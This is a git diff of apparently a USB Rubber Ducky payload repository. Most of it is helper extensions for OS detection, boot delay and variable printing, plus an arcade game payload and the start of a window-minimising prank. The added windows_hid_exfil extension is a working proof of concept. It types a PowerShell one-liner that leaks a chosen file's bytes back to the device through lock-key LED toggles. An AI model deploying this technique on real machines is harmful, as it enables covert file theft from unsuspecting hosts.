$_OS = WINDOWS + ELSE + IF VERBOSE THEN + ENTER + STRING prediction: Linux + END_IF + $_OS = LINUX + END_IF + ELSE + IF VERBOSE THEN + ENTER + STRING no led response + ENTER + STRING prediciton: MacOS + END_IF + $_OS = MACOS + END_IF + + IF ADVANCED_DETECTION THEN + IF ( $_OS == LINUX ) THEN + IF VERBOSE THEN + ENTER + STRING soft reconnect + END_IF + ATTACKMODE OFF + DELAY RESTART_WAIT + ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID + DELAY CONNECT_WAIT + IF VERBOSE THEN + ENTER + STRING reconnected + END_IF + IF ($_CAPSLOCK_ON == TRUE) THEN + IF VERBOSE THEN + ENTER + STRING caps led on + ENTER + STRING test numlock + END_IF + NUMLOCK + DELAY HOST_RESPONSE_TIMEOUT + IF VERBOSE THEN + ENTER + STRING test done + END_IF + IF ($_NUMLOCK_ON == FALSE) THEN + IF VERBOSE THEN + ENTER + STRING no numlock led + ENTER + STRING prediciton: ChromeOS + END_IF + $_OS = CHROMEOS + ELSE + IF VERBOSE THEN + ENTER + STRING numlock led on + ENTER + STRING testing scrolllock + END_IF + SCROLLLOCK + DELAY HOST_RESPONSE_TIMEOUT + IF VERBOSE THEN + ENTER + STRING test done + END_IF + IF ($_SCROLLLOCK_ON == TRUE) THEN + IF VERBOSE THEN + ENTER + STRING scrolllock led on + ENTER + STRING prediciton: Android + END_IF + $_OS = ANDROID + ELSE + IF VERBOSE THEN + ENTER + STRING no scrolllock reply + ENTER + STRING prediction: Linux + END_IF + $_OS = LINUX + END_IF + END_IF + END_IF + ELSE IF ($_OS == MACOS) THEN + IF ($_CAPSLOCK_ON == TRUE) THEN + IF VERBOSE THEN + ENTER + STRING caps led on + ENTER + STRING prediction: iOS + END_IF + $_OS = IOS + ELSE + IF VERBOSE THEN + ENTER + STRING no caps reply + ENTER + STRING prediction: MacOS + END_IF + $_OS = MACOS + END_IF + ELSE IF ($_OS == WINDOWS) THEN + IF VERBOSE THEN + ENTER + STRING Confident Windows Prediction + END_IF + $_OS = WINDOWS + END_IF + END_IF + + RESTORE_HOST_KEYBOARD_LOCK_STATE + + IF VERBOSE THEN + ENTER + STRING OS_DETECT complete + ENTER + END_IF END_FUNCTION - + REM Uncomment the function call below to run this extension inline (here) REM or call DETECT_OS() anywhere in your payload after the extension REM DETECT_OS() - -END_EXTENSION \ No newline at end of file +END_EXTENSION diff --git a/payloads/extensions/passive_detect_ready.txt b/payloads/extensions/passive_detect_ready.txt new file mode 100644 index 0000000..1551c44 --- /dev/null +++ b/payloads/extensions/passive_detect_ready.txt @@ -0,0 +1,21 @@ +EXTENSION PASSIVE_DETECT_READY + REM VERSION 1.0 + + REM Passive Detect Ready - no injection dynamic boot delay + REM for hosts that reflect current OS lock key state on connect + + REM USAGE: + REM Extension runs inline (here) + REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic + REM boot delay + + REM CONFIGURATION: + DEFINE MAX_WAIT 150 + DEFINE CHECK_INTERVAL 20 + + VAR $MAX_TRIES = MAX_WAIT + WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0)) + DELAY CHECK_INTERVAL + $MAX_TRIES = ($MAX_TRIES - 1) + END_WHILE +END_EXTENSION diff --git a/payloads/extensions/passive_windows_detect.txt b/payloads/extensions/passive_windows_detect.txt new file mode 100644 index 0000000..1edd416 --- /dev/null +++ b/payloads/extensions/passive_windows_detect.txt @@ -0,0 +1,37 @@ +EXTENSION PASSIVE_WINDOWS_DETECT + REM VERSION 1.0 + + REM Windows fully passive OS Detection and passive Detect Ready + REM Includes its own passive detect ready. Does not require + REM additional extensions + + REM USAGE: + REM Extension runs inline (here) + REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic + REM boot delay + REM $_OS will be set to WINDOWS or NOT_WINDOWS + + REM CONFIGURATION: + DEFINE MAX_WAIT 150 + DEFINE CHECK_INTERVAL 20 + DEFINE WINDOWS_HOST_REQUEST_COUNT 2 + DEFINE NOT_WINDOWS 7 + + VAR $MAX_TRIES = MAX_WAIT + WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0)) + DELAY CHECK_INTERVAL + $MAX_TRIES = ($MAX_TRIES - 1) + END_WHILE + IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN + $_OS = WINDOWS + ELSE + $_OS = NOT_WINDOWS + END_IF + + REM EXAMPLE USAGE AFTER EXTENSION + REM IF ($_OS == WINDOWS) THEN + REM STRING HELLO WINDOWS! + REM ELSE + REM STRING HELLO WORLD! + REM END_IF +END_EXTENSION diff --git a/payloads/extensions/protected_storage_mode.txt b/payloads/extensions/protected_storage_mode.txt index 7dba8ff..4659cf8 100644 --- a/payloads/extensions/protected_storage_mode.txt +++ b/payloads/extensions/protected_storage_mode.txt @@ -1,9 +1,9 @@ EXTENSION PROTECTED_STORAGE_MODE - VERSION 1.0 + REM VERSION 1.0 REM Example hidden storage mode - REM Forces user to "padlock style" unlock storage mode by setting - REM the host's lock keys and pressing the duck button to "submit" a + REM Forces user to padlock style unlock storage mode by setting + REM the HOSTs lock keys and pressing the duck button to submit a REM combination three times. REM The wrong combination will immediately fail silently. REM The correct combination will trigger ATTACKMODE STORAGE and LED_G @@ -17,31 +17,30 @@ EXTENSION PROTECTED_STORAGE_MODE REM END_BUTTON FUNCTION STORAGE_PASSWORD_CHECK() - VAR $ACCEPED = FALSE - LED_R - WAIT_FOR_BUTTON_PRESS + VAR $ACCEPED = FALSE + LED_R + WAIT_FOR_BUTTON_PRESS - REM first combination ALL LOCKS OFF - IF (($_CAPSLOCK_ON == FALSE) && ($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == FALSE)) THEN - STRING . - WAIT_FOR_BUTTON_PRESS + REM first combination ALL LOCKS OFF + IF (($_CAPSLOCK_ON == FALSE) && ($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == FALSE)) THEN + STRING . + WAIT_FOR_BUTTON_PRESS - REM second combination ONLY CAPS ON - IF (($_CAPSLOCK_ON == TRUE) && ($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == FALSE)) THEN - STRING . - WAIT_FOR_BUTTON_PRESS + REM second combination ONLY CAPS ON + IF (($_CAPSLOCK_ON == TRUE) && ($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == FALSE)) THEN + STRING . + WAIT_FOR_BUTTON_PRESS - REM third combination ONLY NUM ON - IF (($_CAPSLOCK_ON == FALSE) && ($_NUMLOCK_ON == TRUE) && ($_SCROLLLOCK_ON == FALSE)) THEN - $ACCEPTED = TRUE - END_IF - END_IF - END_IF + REM third combination ONLY NUM ON + IF (($_CAPSLOCK_ON == FALSE) && ($_NUMLOCK_ON == TRUE) && ($_SCROLLLOCK_ON == FALSE)) THEN + $ACCEPTED = TRUE + END_IF + END_IF + END_IF - IF $ACCEPTED THEN - LED_G - ATTACKMODE STORAGE - END_IF + IF $ACCEPTED THEN + LED_G + ATTACKMODE STORAGE + END_IF END_FUNCTION - END_EXTENSION diff --git a/payloads/extensions/translate.txt b/payloads/extensions/translate.txt index caa7b5e..811b9ea 100644 --- a/payloads/extensions/translate.txt +++ b/payloads/extensions/translate.txt @@ -1,17 +1,17 @@ EXTENSION TRANSLATE - VERSION 1.0 + REM VERSION 1.0 REM This extension acts as a library or collection of helper functions REM to work with converting variables in your payloads. REM WHY: REM Of the many ways to get information about the state of your payload - REM is by injecting static strings effectively as debugging "printf's" + REM is by injecting static strings effectively as debugging prints REM However, given the non-static nature of payloads using variables in REM DuckyScript 3.0 - the ability to decode variables during payload - REM execution and "print" (inject) representations of their current state + REM execution and print (inject) representations of their current state REM can often be a critically helpful development and debugging tool. - REM Available Functions: + REM Available Functions: REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call @@ -23,196 +23,195 @@ EXTENSION TRANSLATE REM VAR $myVar = 1234 REM $INPUT = $myVar REM TRANSLATE_INT() - REM REM the above code will inject "1234" - - REM BEGIN EXTENSION VARIABLES - DEFINE PRINT_INT 0 - DEFINE PRINT_HEX 1 - VAR $DIGIT_PRINT_MODE = PRINT_INT - VAR $D = 0 - VAR $IN = 0 - VAR $INPUT = 0 - VAR $MOD = 0 - VAR $P = FALSE - VAR $NL = TRUE - REM END EXTENSION VARIABLES - - REM REQUIRED for INT/HEX - convert int to char - FUNCTION PRINTDIGIT() - IF ($D == 0) THEN - STRING 0 - ELSE IF ($D == 1) THEN - STRING 1 - ELSE IF ($D == 2) THEN - STRING 2 - ELSE IF ($D == 3) THEN - STRING 3 - ELSE IF ($D == 4) THEN - STRING 4 - ELSE IF ($D == 5) THEN - STRING 5 - ELSE IF ($D == 6) THEN - STRING 6 - ELSE IF ($D == 7) THEN - STRING 7 - ELSE IF ($D == 8) THEN - STRING 8 - ELSE IF ($D == 9) THEN - STRING 9 - ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN - IF ($D == 10) THEN - STRING A - ELSE IF ($D == 11) THEN - STRING B - ELSE IF ($D == 12) THEN - STRING C - ELSE IF ($D == 13) THEN - STRING D - ELSE IF ($D == 14) THEN - STRING E - ELSE IF ($D == 15) THEN - STRING F - END_IF - ELSE - STRING ? - END_IF - END_FUNCTION - - REM REQUIRED for INT/HEX- consumes a "character" / "place" from the input - FUNCTION CONSUME() - $D = 0 - WHILE ($INPUT >= $MOD) - $D = ($D + 1) - $INPUT = ($INPUT - $MOD) - END_WHILE - IF (($D > 0) || ($P == TRUE)) THEN - $P = TRUE - PRINTDIGIT() - END_IF - END_FUNCTION - - REM ENDIAN SWAPPER helper, (useful for working with VID/PID) - FUNCTION SWAP_ENDIAN() - $INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00)) - END_FUNCTION - - REM Translates a variable of presumed integer type and attempts to convert - REM and inject a DECIMAL string representation - FUNCTION TRANSLATE_INT() - $DIGIT_PRINT_MODE = PRINT_INT - $P = FALSE - IF ( $INPUT >= 10000) THEN - $MOD = 10000 - CONSUME() - END_IF - IF (($INPUT >= 1000) || ($P == TRUE)) THEN - $MOD = 1000 - CONSUME() - END_IF - IF (($INPUT >= 100) || ($P == TRUE)) THEN - $MOD = 100 - CONSUME() - END_IF - IF (($INPUT >= 10) || ($P == TRUE)) THEN - $MOD = 10 - CONSUME() - END_IF() - $D = $INPUT - PRINTDIGIT() - IF $NL THEN - ENTER - END_IF - END_FUNCTION - - REM Translates a variable of presumed boolean type and attempts to convert - REM and inject a BOOLEAN string representation - FUNCTION TRANSLATE_BOOL() - IF $INPUT THEN - STRING TRUE - ELSE - STRING FALSE - END_IF - IF $NL THEN - ENTER - END_IF - END_FUNCTION - - REM Translates a variable of presumed integer type and attempts to convert - REM and inject a HEX string representation - FUNCTION TRANSLATE_HEX() - $DIGIT_PRINT_MODE = PRINT_HEX - VAR $chars = 0 - VAR $d1 = 0 - VAR $d2 = 0 - VAR $d3 = 0 - VAR $d4 = 0 - WHILE ($INPUT > 0) - IF ($chars == 0) THEN - $d1 = ($INPUT % 16) - ELSE IF ($chars == 1) THEN - $d2 = ($INPUT % 16) - ELSE IF ($chars == 2) THEN - $d3 = ($INPUT % 16) - ELSE IF ($chars == 3) THEN - $d4 = ($INPUT % 16) - END_IF - $chars = ($chars + 1) - $INPUT = ($INPUT / 16) - END_WHILE - VAR $i = 0 - STRING 0x - IF ($chars == 0) THEN - STRING 0x0000 - ELSE IF ($chars == 1) THEN - STRING 000 - $D = $d1 - PRINTDIGIT() - ELSE IF ($chars == 2) THEN - STRING 00 - $D = $d2 - PRINTDIGIT() - $D = $d1 - PRINTDIGIT() - ELSE IF ($chars == 3) THEN - STRING 0 - $D = $d3 - PRINTDIGIT() - $D = $d2 - PRINTDIGIT() - $D = $d1 - PRINTDIGIT() - ELSE IF ($chars == 4) THEN - STRING 0 - $D = $d4 - PRINTDIGIT() - $D = $d3 - PRINTDIGIT() - $D = $d2 - PRINTDIGIT() - $D = $d1 - PRINTDIGIT() - END_IF - IF $NL THEN - ENTER - END_IF - END_FUNCTION - - REM Translates a variable of presumed integer type and attempts to convert - REM and inject a BINARY string representation - FUNCTION TRANSLATE_BINARY() - VAR $I = 16 - WHILE ( $I > 0 ) - $I = ($I - 1) - IF (($INPUT & 0x8000) == 0 ) THEN - STRING 0 - ELSE - STRING 1 - END_IF - $INPUT = ($INPUT << 1) - END_WHILE - IF $NL THEN - ENTER - END_IF - END_FUNCTION + REM REM the above code will inject 1234 + REM begin extension variables + DEFINE PRINT_INT 0 + DEFINE PRINT_HEX 1 + VAR $DIGIT_PRINT_MODE = PRINT_INT + VAR $D = 0 + VAR $IN = 0 + VAR $INPUT = 0 + VAR $MOD = 0 + VAR $P = FALSE + VAR $NL = TRUE + REM end extension variables + + REM REQUIRED for INT/HEX - convert int to char + FUNCTION PRINTDIGIT() + IF ($D == 0) THEN + STRING 0 + ELSE IF ($D == 1) THEN + STRING 1 + ELSE IF ($D == 2) THEN + STRING 2 + ELSE IF ($D == 3) THEN + STRING 3 + ELSE IF ($D == 4) THEN + STRING 4 + ELSE IF ($D == 5) THEN + STRING 5 + ELSE IF ($D == 6) THEN + STRING 6 + ELSE IF ($D == 7) THEN + STRING 7 + ELSE IF ($D == 8) THEN + STRING 8 + ELSE IF ($D == 9) THEN + STRING 9 + ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN + IF ($D == 10) THEN + STRING A + ELSE IF ($D == 11) THEN + STRING B + ELSE IF ($D == 12) THEN + STRING C + ELSE IF ($D == 13) THEN + STRING D + ELSE IF ($D == 14) THEN + STRING E + ELSE IF ($D == 15) THEN + STRING F + END_IF + ELSE + STRING ? + END_IF + END_FUNCTION + + REM REQUIRED for INT/HEX- consumes a character / place from the input + FUNCTION CONSUME() + $D = 0 + WHILE ($INPUT >= $MOD) + $D = ($D + 1) + $INPUT = ($INPUT - $MOD) + END_WHILE + IF (($D > 0) || ($P == TRUE)) THEN + $P = TRUE + PRINTDIGIT() + END_IF + END_FUNCTION + + REM ENDIAN SWAPPER helper, (useful for working with VID/PID) + FUNCTION SWAP_ENDIAN() + $INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00)) + END_FUNCTION + + REM Translates a variable of presumed integer type and attempts to convert + REM and inject a DECIMAL string representation + FUNCTION TRANSLATE_INT() + $DIGIT_PRINT_MODE = PRINT_INT + $P = FALSE + IF ( $INPUT >= 10000) THEN + $MOD = 10000 + CONSUME() + END_IF + IF (($INPUT >= 1000) || ($P == TRUE)) THEN + $MOD = 1000 + CONSUME() + END_IF + IF (($INPUT >= 100) || ($P == TRUE)) THEN + $MOD = 100 + CONSUME() + END_IF + IF (($INPUT >= 10) || ($P == TRUE)) THEN + $MOD = 10 + CONSUME() + END_IF() + $D = $INPUT + PRINTDIGIT() + IF $NL THEN + ENTER + END_IF + END_FUNCTION + + REM Translates a variable of presumed boolean type and attempts to convert + REM and inject a BOOLEAN string representation + FUNCTION TRANSLATE_BOOL() + IF $INPUT THEN + STRING TRUE + ELSE + STRING FALSE + END_IF + IF $NL THEN + ENTER + END_IF + END_FUNCTION + + REM Translates a variable of presumed integer type and attempts to convert + REM and inject a HEX string representation + FUNCTION TRANSLATE_HEX() + $DIGIT_PRINT_MODE = PRINT_HEX + VAR $chars = 0 + VAR $d1 = 0 + VAR $d2 = 0 + VAR $d3 = 0 + VAR $d4 = 0 + WHILE ($INPUT > 0) + IF ($chars == 0) THEN + $d1 = ($INPUT % 16) + ELSE IF ($chars == 1) THEN + $d2 = ($INPUT % 16) + ELSE IF ($chars == 2) THEN + $d3 = ($INPUT % 16) + ELSE IF ($chars == 3) THEN + $d4 = ($INPUT % 16) + END_IF + $chars = ($chars + 1) + $INPUT = ($INPUT / 16) + END_WHILE + VAR $i = 0 + STRING 0x + IF ($chars == 0) THEN + STRING 0x0000 + ELSE IF ($chars == 1) THEN + STRING 000 + $D = $d1 + PRINTDIGIT() + ELSE IF ($chars == 2) THEN + STRING 00 + $D = $d2 + PRINTDIGIT() + $D = $d1 + PRINTDIGIT() + ELSE IF ($chars == 3) THEN + STRING 0 + $D = $d3 + PRINTDIGIT() + $D = $d2 + PRINTDIGIT() + $D = $d1 + PRINTDIGIT() + ELSE IF ($chars == 4) THEN + STRING 0 + $D = $d4 + PRINTDIGIT() + $D = $d3 + PRINTDIGIT() + $D = $d2 + PRINTDIGIT() + $D = $d1 + PRINTDIGIT() + END_IF + IF $NL THEN + ENTER + END_IF + END_FUNCTION + + REM Translates a variable of presumed integer type and attempts to convert + REM and inject a BINARY string representation + FUNCTION TRANSLATE_BINARY() + VAR $I = 16 + WHILE ( $I > 0 ) + $I = ($I - 1) + IF (($INPUT & 0x8000) == 0 ) THEN + STRING 0 + ELSE + STRING 1 + END_IF + $INPUT = ($INPUT << 1) + END_WHILE + IF $NL THEN + ENTER + END_IF + END_FUNCTION END_EXTENSION diff --git a/payloads/extensions/windows_hid_exfil.txt b/payloads/extensions/windows_hid_exfil.txt new file mode 100644 index 0000000..d382380 --- /dev/null +++ b/payloads/extensions/windows_hid_exfil.txt @@ -0,0 +1,51 @@ +EXTENSION WINDOWS_HID_EXFIL + REM VERSION 1.0 + + REM Helpers for Keystroke Reflection data exfiltration + REM This payload is a proof of concept for USB HID only Data Exfiltration + + REM TARGET: + REM Windows Hostthat supports powershell and SendKeys + + REM USAGE: + REM Uncomment the function call below to run this extension inline + REM or call RUN_EXFIL() anywhere in your payload after the extension + + REM DEPLOYMENT: + REM Plug Ducky into host, wait for the LED to turn (and stay) solid Green. + + REM CONFIGURATION: + REM File on host machine to exfil using Keystroke Reflection attack + DEFINE TARGET_FILE filename.txt + FUNCTION RUN_WINDOWS_EXFIL() + REM Boot + LED_OFF + DELAY 500 + REM Launch Windows RUN dialog + GUI r + DELAY 50 + REM Launch powershell + STRING powershell + ENTER + DELAY 250 + REM Save HOSTs current lock state + SAVE_HOST_KEYBOARD_LOCK_STATE + REM Start Listening - Enable EXFIL mode, Enable EXFIL mode for Device LEDS + $_EXFIL_MODE_ENABLED = TRUE + $_EXFIL_LEDS_ENABLED = TRUE + REM Convert and reflect target file + STRING foreach($b in $(Get-Content "TARGET_FILE" -Encoding byte)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){If($b -band $a){$o+="%{NUMLOCK}"}Else{$o+="%{CAPSLOCK}"}}};$o+="%{SCROLLLOCK}";Add-Type -Assembly System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait("$o");exit; + ENTER + REM Listen for EOF + WAIT_FOR_SCROLL_CHANGE + REM Indicate SUCCESS on Device LED, Disable EXFIL mode + LED_G + $_EXFIL_MODE_ENABLED = FALSE + REM Restore HOSTs lock state to original + RESTORE_HOST_KEYBOARD_LOCK_STATE + END_FUNCTION + + REM Uncomment the function call below to run this extension inline (here) + REM or call RUN_WINDOWS_EXFIL() anywhere in your payload after the extension + REM RUN_WINDOWS_EXFIL() +END_EXTENSION diff --git a/payloads/library/general/Multi_HID_The-Penny-Drops/Payload.txt b/payloads/library/general/Multi_HID_The-Penny-Drops/Payload.txt new file mode 100644 index 0000000..a07ce8a --- /dev/null +++ b/payloads/library/general/Multi_HID_The-Penny-Drops/Payload.txt @@ -0,0 +1,340 @@ +REM TITLE The Penny Drops +REM AUTHOR Cribbit +REM DESCRIPTION Little arcade coin drop / pachinko style game +REM VERSION 1.0 +REM PROPS Darren & Korben +EXTENSION TRANSLATE + REM VERSION 1.0 + + REM This extension acts as a library or collection of helper functions + REM to work with converting variables in your payloads. + REM WHY: + REM Of the many ways to get information about the state of your payload + REM is by injecting static strings effectively as debugging prints + REM However, given the non-static nature of payloads using variables in + REM DuckyScript 3.0 - the ability to decode variables during payload + REM execution and print (inject) representations of their current state + REM can often be a critically helpful development and debugging tool. + + REM Available Functions: + REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call + REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call + REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call + REM TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call + + REM USAGE: + REM set $INPUT to desired var + REM call the correct translate_ function for the expected data type e.g. + REM VAR $myVar = 1234 + REM $INPUT = $myVar + REM TRANSLATE_INT() + REM REM the above code will inject 1234 + + REM begin extension variables + DEFINE PRINT_INT 0 + DEFINE PRINT_HEX 1 + VAR $DIGIT_PRINT_MODE = PRINT_INT + VAR $D = 0 + VAR $IN = 0 + VAR $INPUT = 0 + VAR $MOD = 0 + VAR $P = FALSE + VAR $NL = TRUE + REM end extension variables + + REM REQUIRED for INT/HEX - convert int to char + FUNCTION PRINTDIGIT() + IF ($D == 0) THEN + STRING 0 + ELSE IF ($D == 1) THEN + STRING 1 + ELSE IF ($D == 2) THEN + STRING 2 + ELSE IF ($D == 3) THEN + STRING 3 + ELSE IF ($D == 4) THEN + STRING 4 + ELSE IF ($D == 5) THEN + STRING 5 + ELSE IF ($D == 6) THEN + STRING 6 + ELSE IF ($D == 7) THEN + STRING 7 + ELSE IF ($D == 8) THEN + STRING 8 + ELSE IF ($D == 9) THEN + STRING 9 + ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN + IF ($D == 10) THEN + STRING A + ELSE IF ($D == 11) THEN + STRING B + ELSE IF ($D == 12) THEN + STRING C + ELSE IF ($D == 13) THEN + STRING D + ELSE IF ($D == 14) THEN + STRING E + ELSE IF ($D == 15) THEN + STRING F + END_IF + ELSE + STRING ? + END_IF + END_FUNCTION + + REM REQUIRED for INT/HEX- consumes a character / place from the input + FUNCTION CONSUME() + $D = 0 + WHILE ($INPUT >= $MOD) + $D = ($D + 1) + $INPUT = ($INPUT - $MOD) + END_WHILE + IF (($D > 0) || ($P == TRUE)) THEN + $P = TRUE + PRINTDIGIT() + END_IF + END_FUNCTION + + REM ENDIAN SWAPPER helper, (useful for working with VID/PID) + FUNCTION SWAP_ENDIAN() + $INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00)) + END_FUNCTION + + REM Translates a variable of presumed integer type and attempts to convert + REM and inject a DECIMAL string representation + FUNCTION TRANSLATE_INT() + $DIGIT_PRINT_MODE = PRINT_INT + $P = FALSE + IF ( $INPUT >= 10000) THEN + $MOD = 10000 + CONSUME() + END_IF + IF (($INPUT >= 1000) || ($P == TRUE)) THEN + $MOD = 1000 + CONSUME() + END_IF + IF (($INPUT >= 100) || ($P == TRUE)) THEN + $MOD = 100 + CONSUME() + END_IF + IF (($INPUT >= 10) || ($P == TRUE)) THEN + $MOD = 10 + CONSUME() + END_IF() + $D = $INPUT + PRINTDIGIT() + IF $NL THEN + ENTER + END_IF + END_FUNCTION + + REM Translates a variable of presumed boolean type and attempts to convert + REM and inject a BOOLEAN string representation + FUNCTION TRANSLATE_BOOL() + IF $INPUT THEN + STRING TRUE + ELSE + STRING FALSE + END_IF + IF $NL THEN + ENTER + END_IF + END_FUNCTION + + REM Translates a variable of presumed integer type and attempts to convert + REM and inject a HEX string representation + FUNCTION TRANSLATE_HEX() + $DIGIT_PRINT_MODE = PRINT_HEX + VAR $chars = 0 + VAR $d1 = 0 + VAR $d2 = 0 + VAR $d3 = 0 + VAR $d4 = 0 + WHILE ($INPUT > 0) + IF ($chars == 0) THEN + $d1 = ($INPUT % 16) + ELSE IF ($chars == 1) THEN + $d2 = ($INPUT % 16) + ELSE IF ($chars == 2) THEN + $d3 = ($INPUT % 16) + ELSE IF ($chars == 3) THEN + $d4 = ($INPUT % 16) + END_IF + $chars = ($chars + 1) + $INPUT = ($INPUT / 16) + END_WHILE + VAR $i = 0 + STRING 0x + IF ($chars == 0) THEN + STRING 0x0000 + ELSE IF ($chars == 1) THEN + STRING 000 + $D = $d1 + PRINTDIGIT() + ELSE IF ($chars == 2) THEN + STRING 00 + $D = $d2 + PRINTDIGIT() + $D = $d1 + PRINTDIGIT() + ELSE IF ($chars == 3) THEN + STRING 0 + $D = $d3 + PRINTDIGIT() + $D = $d2 + PRINTDIGIT() + $D = $d1 + PRINTDIGIT() + ELSE IF ($chars == 4) THEN + STRING 0 + $D = $d4 + PRINTDIGIT() + $D = $d3 + PRINTDIGIT() + $D = $d2 + PRINTDIGIT() + $D = $d1 + PRINTDIGIT() + END_IF + IF $NL THEN + ENTER + END_IF + END_FUNCTION + + REM Translates a variable of presumed integer type and attempts to convert + REM and inject a BINARY string representation + FUNCTION TRANSLATE_BINARY() + VAR $I = 16 + WHILE ( $I > 0 ) + $I = ($I - 1) + IF (($INPUT & 0x8000) == 0 ) THEN + STRING 0 + ELSE + STRING 1 + END_IF + $INPUT = ($INPUT << 1) + END_WHILE + IF $NL THEN + ENTER + END_IF + END_FUNCTION +END_EXTENSION + +ATTACKMODE HID +DELAY 3000 +DEFINE GAME_SPEED 500 +VAR $SCORE = 0 +VAR $COIN = 6 +VAR $MAX = 9999 +VAR $RUNNING = TRUE +VAR $INPUT = 0 +$NL = FALSE + +FUNCTION move() + SHIFT LEFTARROW + SPACE + DOWNARROW + IF (($_RANDOM_INT % 2) == 0) THEN + $COIN = ($COIN + 1) + RIGHTARROW + ELSE + $COIN = ($COIN - 1) + LEFTARROW + END_IF + SHIFT LEFTARROW + STRING 0 +END_FUNCTION + +FUNCTION drop() + VAR $A = 4 + WHILE ($A > 0) + move() + DELAY GAME_SPEED + $A = ($A - 1) + END_WHILE + SHIFT LEFTARROW + SPACE + DOWNARROW + SHIFT LEFTARROW + STRING 0 + DELAY GAME_SPEED + SHIFT LEFTARROW + SPACE +END_FUNCTION + +FUNCTION write_score() + DOWNARROW + DOWNARROW + END + SHIFT HOME + VAR $POINTS = 1 + IF ($COIN == 6) THEN + $POINTS = 5 + ELSE IF (($COIN == 4) || ($COIN == 8)) THEN + $POINTS = 2 + END_IF + + IF ($POINTS > ($MAX - $SCORE)) THEN + $SCORE = ($POINTS - ($MAX - $SCORE)) + ELSE + $SCORE = ($SCORE + $POINTS) + END_IF + + STRING SCORE: + $INPUT = $SCORE + TRANSLATE_INT() +END_FUNCTION + +FUNCTION end_game() + LED_R + $RUNNING = FALSE +END_FUNCTION + +FUNCTION reset() + UPARROW + UPARROW + UPARROW + UPARROW + UPARROW + UPARROW + UPARROW + END + LEFTARROW + LEFTARROW + LEFTARROW + LEFTARROW + LEFTARROW + SHIFT LEFTARROW + STRING 0 + $COIN = 6 +END_FUNCTION + +FUNCTION play_game() + STRINGLN Penny drop / pachinko style game. + STRINGLN Press scroll lock to drop a coin. + ENTER + STRINGLN _(PENNY)_ + STRINGLN / 0 \ + STRINGLN | . | + STRINGLN | . . | + STRINGLN | . . . | + STRINGLN | . . . . | + STRINGLN | | | | | | + STRINGLN |1|2|5|2|1| + reset() + WAIT_FOR_SCROLL_CHANGE + WHILE ($RUNNING == TRUE) + drop() + write_score() + reset() + WAIT_FOR_SCROLL_CHANGE + END_WHILE + ATTACKMODE HID STORAGE +END_FUNCTION + +BUTTON_DEF + end_game() +END_BUTTON + +play_game() diff --git a/payloads/library/general/Multi_HID_The-Penny-Drops/readme.md b/payloads/library/general/Multi_HID_The-Penny-Drops/readme.md new file mode 100644 index 0000000..33ee3a3 --- /dev/null +++ b/payloads/library/general/Multi_HID_The-Penny-Drops/readme.md @@ -0,0 +1,31 @@ +# The Penny Drops +* Author: Cribbit +* Version: 1.0 +* Target: any +* Category: General +* Attackmode: HID +* Props: Darren & Korben + +## Change Log +| Version | Changes | +| ------- | ------------------------------| +| 1.0 | Initial release | + +## Description +Little arcade coin drop / pachinko style game + +``` + _(PENNY)_ +/ 0 \ +| . | +| . . | +| . . . | +| . . . . | +| | | | | | +|1|2|5|2|1| +``` + +## Getting Started + +Open a text editor then insert the ducky. + diff --git a/payloads/library/prank/Always-Minimize/README.md b/payloads/library/prank/Always-Minimize/README.md new file mode 100644 index 0000000..9a4219f --- /dev/null +++ b/payloads/library/prank/Always-Minimize/README.md @@ -0,0 +1,32 @@ +# Always Minimize +Minimizing all opened window within specific time/delay. It's a **loop** process, that means this script won't end until you stop it. + +## Config +If you want to change the delay, you can change here : + +![Delay](https://raw.githubusercontent.com/LyQuid12/usbrubberducky-payloads/master/payloads/library/prank/Always-Minimize/images/delay.PNG) + +Default is 2 seconds. 1 Second = 1000 Miliseconds. +If you set a delay less than 1 second, you literally a bastard :] + +## How to stop this? +It's simple but hard to do. There's 2 ways to stop/kill this process. + +> First way + +- Open task manager using CTRL+SHIFT+ESC +- Find `Microsoft (r) Windows Based Script` + +![wscript](https://raw.githubusercontent.com/LyQuid12/usbrubberducky-payloads/master/payloads/library/prank/Always-Minimize/images/taskmngr.PNG) + +- End the process + +> Second way + +- Open Command Prompt using +r (Windows+r) +- Type `cmd` +- Run this command +``` +taskkill /F /IM wscript.exe /T +``` +- Enter diff --git a/payloads/library/prank/Always-Minimize/images/delay.PNG b/payloads/library/prank/Always-Minimize/images/delay.PNG new file mode 100644 index 0000000..72df0e7 Binary files /dev/null and b/payloads/library/prank/Always-Minimize/images/delay.PNG differ diff --git a/payloads/library/prank/Always-Minimize/images/taskmngr.PNG b/payloads/library/prank/Always-Minimize/images/taskmngr.PNG new file mode 100644 index 0000000..926bb3a Binary files /dev/null and b/payloads/library/prank/Always-Minimize/images/taskmngr.PNG differ diff --git a/payloads/library/prank/Always-Minimize/payload.txt b/payloads/library/prank/Always-Minimize/payload.txt new file mode 100644 index 0000000..bc9b483 --- /dev/null +++ b/payloads/library/prank/Always-Minimize/payload.txt @@ -0,0 +1,35 @@ +REM ============================================================================================================= +REM 